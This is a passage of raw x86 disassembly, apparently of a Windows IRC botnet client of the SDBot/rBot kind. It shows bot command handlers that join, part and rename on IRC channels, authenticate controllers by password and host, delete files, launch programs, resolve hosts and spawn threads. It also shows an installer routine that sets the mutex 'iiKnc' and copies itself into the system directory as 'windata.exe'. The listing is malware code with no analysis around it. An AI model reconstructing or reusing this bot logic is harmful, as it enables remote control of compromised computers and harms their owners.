test eax, eax
jz short loc_409757
lea eax, [ebp+4Ch+var_5400]
push eax
lea eax, [ebp+4Ch+var_4EF8]
push eax
push edi
lea eax, [ebp+4Ch+var_5D90]
push offset unk_42CE2C
push eax
call sub_41E6A6
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_5D90]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 28h
loc_409757: ; CODE XREF: sub_40274D+6FCFj
inc edi
cmp edi, 0Ah
jl short loc_4096FB
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42CE04
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_409770: ; CODE XREF: sub_40274D+6FAAj
push offset aFrame ; "frame"
push [ebp+4Ch+var_8]
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4097FE
cmp [ebp+esi+4Ch+var_9C], ebx
jz short loc_4097EB
cmp [ebp+esi+4Ch+var_98], ebx
jz short loc_4097EB
mov edi, [ebp+esi+4Ch+var_94]
cmp edi, ebx
jz short loc_4097EB
mov eax, [ebp+esi+4Ch+var_90]
cmp eax, ebx
jz short loc_4097EB
push eax
call sub_41E7AD
pop ecx
push eax
push edi
call sub_41E7AD
pop ecx
push eax
push [ebp+esi+4Ch+var_98]
call sub_41E7AD
pop ecx
push eax
push [ebp+esi+4Ch+var_9C]
call sub_4181B2
add esp, 10h
test eax, eax
lea eax, [ebp+4Ch+var_2D0]
jnz short loc_4097E4
push [ebp+esi+4Ch+var_9C]
push offset unk_42CDD0
push eax
call sub_41E6A6
add esp, 0Ch
jmp short loc_4097FE
; ---------------------------------------------------------------------------
loc_4097E4: ; CODE XREF: sub_40274D+7081j
push offset unk_42CD9C
jmp short loc_4097F6
; ---------------------------------------------------------------------------
loc_4097EB: ; CODE XREF: sub_40274D+703Aj
; sub_40274D+7040j ...
push offset unk_42CD64
lea eax, [ebp+4Ch+var_2D0]
loc_4097F6: ; CODE XREF: sub_40274D+709Cj
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_4097FE: ; CODE XREF: sub_40274D+7034j
; sub_40274D+7095j
push offset aVideo ; "video"
push [ebp+4Ch+var_8]
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_4099D0
mov eax, [ebp+esi+4Ch+var_9C]
cmp eax, ebx
mov [ebp+4Ch+var_20], eax
jz short loc_40989F
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
mov [ebp+4Ch+arg_0], eax
jz short loc_40989F
mov eax, [ebp+esi+4Ch+var_94]
cmp eax, ebx
mov [ebp+4Ch+var_14], eax
jz short loc_40989F
mov edi, [ebp+esi+4Ch+var_90]
cmp edi, ebx
jz short loc_40989F
mov esi, [ebp+esi+4Ch+var_8C]
cmp esi, ebx
jz short loc_40989F
push esi
call sub_41E7AD
pop ecx
push eax
push edi
call sub_41E7AD
pop ecx
push eax
push [ebp+4Ch+var_14]
call sub_41E7AD
pop ecx
push eax
push [ebp+4Ch+arg_0]
call sub_41E7AD
pop ecx
push eax
push [ebp+4Ch+var_20]
call sub_4183AB
add esp, 14h
test eax, eax
lea eax, [ebp+4Ch+var_2D0]
jnz short loc_409895
push [ebp+4Ch+var_20]
push offset unk_42CD30
loc_409887: ; CODE XREF: sub_40274D+6931j
push eax
call sub_41E6A6
add esp, 0Ch
jmp loc_4099D0
; ---------------------------------------------------------------------------
loc_409895: ; CODE XREF: sub_40274D+7130j
push offset unk_42CCF0
jmp loc_4099C8
; ---------------------------------------------------------------------------
loc_40989F: ; CODE XREF: sub_40274D+70D1j
; sub_40274D+70DCj ...
push offset unk_42CCB0
lea eax, [ebp+4Ch+var_2D0]
jmp loc_4099C8
; ---------------------------------------------------------------------------
loc_4098AF: ; CODE XREF: sub_40274D+3D58j
; sub_40274D+3D6Dj
push offset aR ; "r"
push [ebp+4Ch+var_8]
call sub_41E54E
mov edi, eax
cmp edi, ebx
pop ecx
pop ecx
jz short loc_40992A
push edi
mov esi, 200h
lea eax, [ebp+4Ch+var_2D0]
push esi
push eax
call sub_41EA5D
add esp, 0Ch
jmp short loc_409904
; ---------------------------------------------------------------------------
loc_4098DC: ; CODE XREF: sub_40274D+71B9j
push 1
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
push edi
lea eax, [ebp+4Ch+var_2D0]
push esi
push eax
call sub_41EA5D
add esp, 20h
loc_409904: ; CODE XREF: sub_40274D+718Dj
test eax, eax
jnz short loc_4098DC
push edi
call sub_41E24B
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42CC8C
push eax
call sub_41E6A6
add esp, 10h
jmp loc_406C6B
; ---------------------------------------------------------------------------
loc_40992A: ; CODE XREF: sub_40274D+7175j
push [ebp+4Ch+var_8]
push offset unk_42CC68
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_409937: ; CODE XREF: sub_40274D+3D2Ej
; sub_40274D+3D43j
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push [ebp+4Ch+var_8]
push [ebp+4Ch+var_18]
call sub_41F090
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jz loc_404979
push offset asc_42CC64 ; "\n"
push esi
call sub_41EED0
push esi
call sub_41C7BD
add esp, 0Ch
test eax, eax
lea eax, [ebp+4Ch+var_2D0]
jnz short loc_40997C
push offset unk_42CC38
jmp short loc_4099C8
; ---------------------------------------------------------------------------
loc_40997C: ; CODE XREF: sub_40274D+7226j
push esi
push offset dword_42CC20
push eax
call sub_41E6A6
add esp, 0Ch
jmp short loc_4099EE
; ---------------------------------------------------------------------------
loc_40998D: ; CODE XREF: sub_40274D+3D04j
; sub_40274D+3D19j
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push [ebp+4Ch+var_8]
push [ebp+4Ch+var_18]
call sub_41F090
cmp eax, ebx
pop ecx
pop ecx
jz loc_404979
push eax
call sub_41AD95
test eax, eax
pop ecx
lea eax, [ebp+4Ch+var_2D0]
jnz short loc_4099C3
push offset unk_42CC00
jmp short loc_4099C8
; ---------------------------------------------------------------------------
loc_4099C3: ; CODE XREF: sub_40274D+726Dj
push offset dword_42CBE4
loc_4099C8: ; CODE XREF: sub_40274D+714Dj
; sub_40274D+715Dj ...
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_4099D0: ; CODE XREF: sub_40274D+70C2j
; sub_40274D+7143j
cmp [ebp+4Ch+var_C], ebx
jnz short loc_4099EE
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
loc_4099EE: ; CODE XREF: sub_40274D+6EE4j
; sub_40274D+6EF6j ...
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_417D70
pop ecx
jmp loc_404979
; ---------------------------------------------------------------------------
loc_409A00: ; CODE XREF: sub_40274D+3CDAj
; sub_40274D+3CEFj
push 7Fh
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_221C]
push eax
call sub_41E860
mov esi, [ebp+esi+4Ch+var_9C]
add esp, 0Ch
cmp esi, ebx
jz short loc_409A2E
push 7Fh
lea eax, [ebp+4Ch+var_219C]
push esi
push eax
call sub_41E860
add esp, 0Ch
loc_409A2E: ; CODE XREF: sub_40274D+72CDj
push 7Fh
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_211C]
push eax
call sub_41E860
mov eax, [ebp+4Ch+arg_4]
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_2220], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_2098], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_2094], eax
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42CBCC
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 1Ch
push eax
call sub_40AE85
add esp, 24h
mov [ebp+4Ch+var_209C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_2220]
push eax
push offset byte_41DAA1
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_209C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_409ADD
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42CB8C
loc_409AC1: ; CODE XREF: sub_40274D+278Ej
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41E6A6
add esp, 0Ch
jmp loc_406C6B
; ---------------------------------------------------------------------------
loc_409AD5: ; CODE XREF: sub_40274D+7396j
push 32h
call ds:dword_42B014 ; Sleep
loc_409ADD: ; CODE XREF: sub_40274D+7366j
cmp [ebp+4Ch+var_2090], ebx
jz short loc_409AD5
jmp loc_406C6B
; ---------------------------------------------------------------------------
loc_409AEA: ; CODE XREF: sub_40274D+3CB0j
; sub_40274D+3CC5j
push ebx
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
push [ebp+4Ch+var_8]
call sub_412135
push [ebp+4Ch+var_8]
push offset dword_42CB74
jmp loc_409FB1
; ---------------------------------------------------------------------------
loc_409B06: ; CODE XREF: sub_40274D+3C86j
; sub_40274D+3C9Bj
push 14h
lea eax, [ebp+4Ch+var_1D50]
push ebx
push eax
call sub_41E5F0
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_1D3C]
push offset aS ; "%s"
push eax
call sub_41E6A6
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_1D58], eax
lea eax, [ebp+4Ch+var_D0]
push eax
lea eax, [ebp+4Ch+var_1C38]
push 80h
push eax
call sub_41E6FE
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_1BB0], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_1BAC], eax
lea eax, [ebp+4Ch+var_1C38]
push eax
lea eax, [ebp+4Ch+var_1D3C]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42CB50
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 1Ah
push eax
call sub_40AE85
add esp, 40h
mov [ebp+4Ch+var_1BB4], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1D58]
push eax
push offset word_418956
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1BB4]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jz loc_402E72
jmp short loc_409BD0
; ---------------------------------------------------------------------------
loc_409BC8: ; CODE XREF: sub_40274D+7489j
push 32h
call ds:dword_42B014 ; Sleep
loc_409BD0: ; CODE XREF: sub_40274D+7479j
cmp [ebp+4Ch+var_1BA8], ebx
jz short loc_409BC8
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_409BDD: ; CODE XREF: sub_40274D+3C5Cj
; sub_40274D+3C71j
push [ebp+4Ch+var_8]
call ds:dword_42B02C ; DeleteFileA
test eax, eax
jz short loc_409BF4
push [ebp+4Ch+var_8]
push offset dword_42CB34
jmp short loc_409BFF
; ---------------------------------------------------------------------------
loc_409BF4: ; CODE XREF: sub_40274D+749Bj
push offset dword_42D340
call sub_41ACD0
push eax
loc_409BFF: ; CODE XREF: sub_40274D+74A5j
lea eax, [ebp+4Ch+var_2D0]
push 200h
push eax
call sub_41E6FE
loc_409C10: ; CODE XREF: sub_40274D+7595j
add esp, 10h
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_409C18: ; CODE XREF: sub_40274D+3C32j
; sub_40274D+3C47j
push [ebp+4Ch+var_8]
call sub_41E7AD
push eax
call sub_41C736
xor esi, esi
pop ecx
inc esi
pop ecx
push [ebp+4Ch+var_8]
cmp eax, esi
lea eax, [ebp+4Ch+var_2D0]
jnz short loc_409C3F
push offset unk_42CB10
jmp short loc_409C44
; ---------------------------------------------------------------------------
loc_409C3F: ; CODE XREF: sub_40274D+74E9j
push offset unk_42CAE0
loc_409C44: ; CODE XREF: sub_40274D+74F0j
push eax
call sub_41E6A6
add esp, 0Ch
cmp [ebp+4Ch+var_C], ebx
jnz loc_406C6E
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
jmp loc_406C6E
; ---------------------------------------------------------------------------
loc_409C74: ; CODE XREF: sub_40274D+3C08j
; sub_40274D+3C1Dj
push ebx
push ebx
push [ebp+4Ch+var_8]
push [ebp+4Ch+var_4]
push ebx
push [ebp+4Ch+arg_4]
call sub_41C444
add esp, 18h
cmp eax, 1
push [ebp+4Ch+var_8]
jnz short loc_409C9A
push offset unk_42CAC0
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_409C9A: ; CODE XREF: sub_40274D+7541j
push offset unk_42CA90
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_409CA4: ; CODE XREF: sub_40274D+3BDEj
; sub_40274D+3BF3j
mov esi, [ebp+4Ch+var_8]
push esi
call ds:dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+4Ch+var_2DC], eax
jz short loc_409CE7
push 2
push 4
lea eax, [ebp+4Ch+var_2DC]
push eax
call ds:dword_4441FC ; gethostbyaddr
cmp eax, ebx
jz short loc_409D02
push dword ptr [eax]
loc_409CD0: ; CODE XREF: sub_40274D+75B3j
push esi
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42CA70
push eax
call sub_41E6A6
jmp loc_409C10
; ---------------------------------------------------------------------------
loc_409CE7: ; CODE XREF: sub_40274D+756Aj
push esi
call ds:dword_444168 ; gethostbyname
cmp eax, ebx
jz short loc_409D02
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call ds:dword_444188 ; inet_ntoa
push eax
jmp short loc_409CD0
; ---------------------------------------------------------------------------
loc_409D02: ; CODE XREF: sub_40274D+757Fj
; sub_40274D+75A3j
push offset unk_42CA48
jmp loc_406C3F
; ---------------------------------------------------------------------------
loc_409D0C: ; CODE XREF: sub_40274D+3BB4j
; sub_40274D+3BC9j
push 7Fh
push [ebp+4Ch+var_8]
push [ebp+4Ch+arg_14]
call sub_41E860
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42CA20
push eax
call sub_41E6A6
add esp, 18h
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_409D35: ; CODE XREF: sub_40274D+3B8Aj
; sub_40274D+3B9Fj
push 5
push ebx
push ebx
push [ebp+4Ch+var_8]
push offset aOpen ; "open"
push ebx
call ds:dword_444214
test eax, eax
push [ebp+4Ch+var_8]
jz short loc_409D59
push offset unk_42CA00
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_409D59: ; CODE XREF: sub_40274D+7600j
push offset unk_42C9DC
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_409D63: ; CODE XREF: sub_40274D+3B60j
; sub_40274D+3B75j
mov eax, [ebp+4Ch+var_8]
mov cl, [eax]
mov ds:byte_43C08C, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_42C9B4
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_409D7C: ; CODE XREF: sub_40274D+3B36j
; sub_40274D+3B4Bj
push [ebp+4Ch+var_8]
call sub_41E7AD
test eax, eax
pop ecx
jle loc_404979
push [ebp+4Ch+var_8]
call sub_41E7AD
cmp eax, 400h
pop ecx
jge loc_404979
push ebx
push ebx
lea eax, [ebp+4Ch+var_B4]
push 2
push eax
call sub_40AB83
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41E6A6
add esp, 1Ch
loc_409DC3: ; CODE XREF: sub_40274D+6B2Fj
lea eax, [ebp+4Ch+var_2D0]
push eax
push offset aS_0 ; "%s\r\n"
push [ebp+4Ch+var_8]
call sub_41E7AD
imul eax, 234h
pop ecx
push ds:dword_4444F4[eax]
call sub_4011F5
loc_409DE9: ; CODE XREF: sub_40274D+28AEj
; sub_40274D+28C1j ...
add esp, 0Ch
jmp loc_404979
; ---------------------------------------------------------------------------
loc_409DF1: ; CODE XREF: sub_40274D+3B0Cj
; sub_40274D+3B21j
mov esi, [ebp+4Ch+var_8]
push esi
call sub_41E7AD
test eax, eax
pop ecx
jle loc_402B92
push esi
call sub_41E7AD
cmp eax, 400h
pop ecx
jge loc_402B92
push offset aQuitLater ; "QUIT :later\r\n"
push esi
call sub_41E7AD
imul eax, 234h
pop ecx
push ds:dword_4444F4[eax]
call sub_4011F5
pop ecx
pop ecx
push 1F4h
call ds:dword_42B014 ; Sleep
push esi
call sub_41E7AD
imul eax, 234h
pop ecx
push ds:dword_4444F4[eax]
call ds:dword_444218 ; closesocket
push [ebp+4Ch+var_1C]
push esi
call sub_41E7AD
imul eax, 234h
pop ecx
push ds:dword_4444FC[eax]
call ds:dword_42B028 ; TerminateThread
push esi
call sub_41E7AD
imul eax, 234h
push esi
mov ds:dword_4444FC[eax], ebx
call sub_41E7AD
imul eax, 234h
pop ecx
pop ecx
mov byte ptr ds:dword_4442E8[eax], bl
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_409E9F: ; CODE XREF: sub_40274D+3AE2j
; sub_40274D+3AF7j
push [ebp+4Ch+var_8]
push offset aAll ; "all"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_409ED0
call sub_40AFF6
cmp eax, ebx
jle short loc_409EC6
push eax
push offset unk_42C988
jmp loc_407CB2
; ---------------------------------------------------------------------------
loc_409EC6: ; CODE XREF: sub_40274D+776Cj
push offset unk_42C960
jmp loc_404A4D
; ---------------------------------------------------------------------------
loc_409ED0: ; CODE XREF: sub_40274D+7763j
mov esi, [ebp+4Ch+var_20]
jmp short loc_409F3A
; ---------------------------------------------------------------------------
loc_409ED5: ; CODE XREF: sub_40274D+77F1j
mov edi, [ebp+esi*4+4Ch+var_A4]
cmp edi, ebx
jz loc_402B92
push edi
call sub_41E7AD
push eax
call sub_40AF6E
pop ecx
pop ecx
test eax, eax
push edi
lea eax, [ebp+4Ch+var_2D0]
jz short loc_409F01
push offset unk_42C93C
jmp short loc_409F06
; ---------------------------------------------------------------------------
loc_409F01: ; CODE XREF: sub_40274D+77ABj
push offset unk_42C910
loc_409F06: ; CODE XREF: sub_40274D+77B2j
push eax
call sub_41E6A6
add esp, 0Ch
cmp [ebp+4Ch+var_C], ebx
jnz short loc_409F2D
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
loc_409F2D: ; CODE XREF: sub_40274D+77C5j
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_417D70
pop ecx
loc_409F3A: ; CODE XREF: sub_40274D+7786j
inc esi
cmp esi, 20h
jb short loc_409ED5
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_409F45: ; CODE XREF: sub_40274D+3AB8j
; sub_40274D+3ACDj
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push [ebp+4Ch+var_8]
push [ebp+4Ch+var_18]
call sub_41F090
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jz loc_404979
push esi
push offset aS_0 ; "%s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
push esi
push offset dword_42C8F4
jmp short loc_409FD6
; ---------------------------------------------------------------------------
loc_409F7B: ; CODE XREF: sub_40274D+3A8Ej
; sub_40274D+3AA3j
push [ebp+4Ch+var_8]
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
push [ebp+4Ch+var_8]
push offset unk_42C8D0
jmp short loc_409FD6
; ---------------------------------------------------------------------------
loc_409F95: ; CODE XREF: sub_40274D+3A64j
; sub_40274D+3A79j
push [ebp+esi+4Ch+var_9C]
push [ebp+4Ch+var_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
push [ebp+4Ch+var_8]
push offset unk_42C8AC
loc_409FB1: ; CODE XREF: sub_40274D+6BBAj
; sub_40274D+6C3Dj ...
call sub_417DE4
loc_409FB6: ; CODE XREF: sub_40274D+22CAj
add esp, 18h
jmp loc_404979
; ---------------------------------------------------------------------------
loc_409FBE: ; CODE XREF: sub_40274D+3A3Aj
; sub_40274D+3A4Fj
push [ebp+4Ch+var_8]
push offset aNickS ; "NICK %s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
push [ebp+4Ch+var_8]
push offset unk_42C888
loc_409FD6: ; CODE XREF: sub_40274D+6CE2j
; sub_40274D+782Cj ...
call sub_417DE4
loc_409FDB: ; CODE XREF: sub_40274D+186Fj
; sub_40274D+6D40j
add esp, 14h
jmp loc_404979
; ---------------------------------------------------------------------------
loc_409FE3: ; CODE XREF: sub_40274D+2F48j
; sub_40274D+2F5Dj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42C864
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_417D70
push [ebp+4Ch+var_8]
call sub_41E7AD
add esp, 1Ch
jmp short loc_40A05B
; ---------------------------------------------------------------------------
loc_40A01D: ; CODE XREF: sub_40274D+2F1Ej
; sub_40274D+2F33j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42C83C
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_417D70
push [ebp+4Ch+var_8]
call sub_41E7AD
add esp, 1Ch
imul eax, 3E8h
loc_40A05B: ; CODE XREF: sub_40274D+78CEj
push eax
call ds:dword_42B014 ; Sleep
jmp loc_404FE6
; ---------------------------------------------------------------------------
loc_40A067: ; CODE XREF: sub_40274D+D65j
; sub_40274D+D7Aj
push [ebp+esi+4Ch+var_A0]
xor eax, eax
cmp [ebp+4Ch+var_8F8], bl
setnz al
push eax
push ds:dword_43C094
lea eax, [ebp+4Ch+var_340]
push eax
call sub_40AB83
lea eax, [ebp+4Ch+var_340]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
lea eax, [ebp+4Ch+var_340]
push eax
push offset unk_42C818
call sub_417DE4
loc_40A0AE: ; CODE XREF: sub_40274D+4FEBj
add esp, 24h
jmp loc_404979
; ---------------------------------------------------------------------------
loc_40A0B6: ; CODE XREF: sub_40274D+9C9j
; sub_40274D+9DEj
mov esi, [ebp+esi+4Ch+var_A0]
cmp esi, ebx
mov [ebp+4Ch+var_8], esi
jz loc_402B92
cmp [ebp+4Ch+var_14], ebx
jnz loc_402B92
push offset asc_42FCDC ; "!"
push [ebp+4Ch+var_A4]
call sub_41E7B2
mov esi, eax
push offset dword_42C814
push ebx
inc esi
call sub_41E7B2
push offset asc_42C810 ; "~"
push eax
call sub_41E7B2
push [ebp+4Ch+var_8]
mov edi, eax
push offset aRelax_0 ; "relax"
call sub_41E990
add esp, 20h
test eax, eax
jz short loc_40A14F
push edi
lea eax, [ebp+4Ch+var_D0]
push eax
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
lea eax, [ebp+4Ch+var_D0]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+4Ch+arg_4]
call sub_4011F5
push edi
push esi
push offset unk_42C790
loc_40A13B: ; CODE XREF: sub_40274D+7A55j
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41E6A6
add esp, 30h
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_40A14F: ; CODE XREF: sub_40274D+79BBj
mov [ebp+4Ch+arg_0], ebx
loc_40A152: ; CODE XREF: sub_40274D+7A22j
mov eax, [ebp+4Ch+arg_0]
push edi
push ds:off_43C164[eax]
call sub_40B264
test eax, eax
pop ecx
pop ecx
jnz short loc_40A1A4
add [ebp+4Ch+arg_0], 4
cmp [ebp+4Ch+arg_0], 4
jb short loc_40A152
push edi
lea eax, [ebp+4Ch+var_D0]
push eax
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
lea eax, [ebp+4Ch+var_D0]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+4Ch+arg_4]
call sub_4011F5
push edi
push esi
push offset unk_42C73C
jmp short loc_40A13B
; ---------------------------------------------------------------------------
loc_40A1A4: ; CODE XREF: sub_40274D+7A18j
mov edi, [ebp+4Ch+arg_18]
xor esi, esi
loc_40A1A9: ; CODE XREF: sub_40274D+7A7Dj
cmp [edi], bl
jnz short loc_40A1C0
push [ebp+4Ch+var_8]
push offset aRelax_0 ; "relax"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_40A1D1
loc_40A1C0: ; CODE XREF: sub_40274D+7A5Ej
inc esi
add edi, 80h
cmp esi, 3
jl short loc_40A1A9
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_40A1D1: ; CODE XREF: sub_40274D+7A71j
push 7Fh
lea eax, [ebp+4Ch+var_E38]
shl esi, 7
add esi, [ebp+4Ch+arg_18]
push eax
push esi
call sub_41E860
add esp, 0Ch
cmp [ebp+4Ch+var_C], ebx
jnz short loc_40A205
push ebx
push [ebp+4Ch+var_4]
push offset unk_42C71C
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
loc_40A205: ; CODE XREF: sub_40274D+7A9Fj
lea eax, [ebp+4Ch+var_D0]
push eax
push offset unk_42C6FC
loc_40A211: ; CODE XREF: sub_40274D+52Fj
; sub_40274D+2699j ...
call sub_417DE4
loc_40A216: ; CODE XREF: sub_40274D+19F8j
pop ecx
loc_40A217: ; CODE XREF: sub_40274D+2338j
pop ecx
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_40A21D: ; CODE XREF: sub_40274D+1E7j
; sub_40274D+1FCj
push [ebp+4Ch+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
push offset asc_43C13C ; "+x"
push [ebp+4Ch+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
push [ebp+4Ch+arg_C]
push [ebp+4Ch+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
add esp, 2Ch
mov ds:dword_4D1FDC, edi
jmp loc_40291B
sub_40274D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A263 proc near ; CODE XREF: start-C316Dp
var_984 = byte ptr -984h
var_880 = byte ptr -880h
var_87F = byte ptr -87Fh
var_6F0 = byte ptr -6F0h
var_5F0 = byte ptr -5F0h
var_4EC = byte ptr -4ECh
var_3EC = byte ptr -3ECh
var_2E8 = byte ptr -2E8h
var_1E4 = byte ptr -1E4h
var_E0 = dword ptr -0E0h
var_D4 = dword ptr -0D4h
var_B4 = dword ptr -0B4h
var_B0 = word ptr -0B0h
var_9C = byte ptr -9Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 984h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], offset loc_40110F
push [ebp+var_4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, ds:dword_42B038
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ds:dword_4D1FD0, eax
call esi ; GetTickCount
push eax
call sub_41ECD4
pop ecx
call sub_4012D6
push 2
call ds:dword_4440D4 ; SetErrorMode
push 7530h
push offset aIiknc ; "iiKnc"
push ebx
push ebx
call ds:dword_42B058 ; CreateMutexA
push eax
call ds:dword_42B054 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40A2E2
push 1
jmp loc_40A53C
; ---------------------------------------------------------------------------
loc_40A2E2: ; CODE XREF: sub_40A263+76j
lea eax, [ebp+var_880]
push eax
push 202h
call ds:dword_444110 ; WSAStartup
cmp eax, ebx
jnz loc_40A7F7
cmp [ebp+var_880], 2
jnz loc_40A7F1
cmp [ebp+var_87F], 2
jnz loc_40A7F1
mov esi, 104h
push esi
lea eax, [ebp+var_3EC]
push eax
call ds:dword_42B010 ; GetSystemDirectoryA
push esi
lea eax, [ebp+var_2E8]
push eax
push ebx
call ds:dword_42B024 ; GetModuleHandleA
push eax
call ds:dword_42B00C ; GetModuleFileNameA
lea eax, [ebp+var_4EC]
push eax
lea eax, [ebp+var_6F0]
push eax
push ebx
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41ED01
lea eax, [ebp+var_4EC]
push eax
lea eax, [ebp+var_6F0]
push eax
push offset aSS ; "%s%s"
lea eax, [ebp+var_5F0]
push esi
push eax
call sub_41E6FE
lea eax, [ebp+var_3EC]
push eax
lea eax, [ebp+var_2E8]
push eax
call sub_41F090
add esp, 30h
test eax, eax
jnz loc_40A542
cmp ds:dword_4D1FD4, ebx
mov esi, offset aWindata_exe ; "windata.exe"
jz short loc_40A3D7
push esi
xor edi, edi
call sub_41E1C0
sub eax, 4
pop ecx
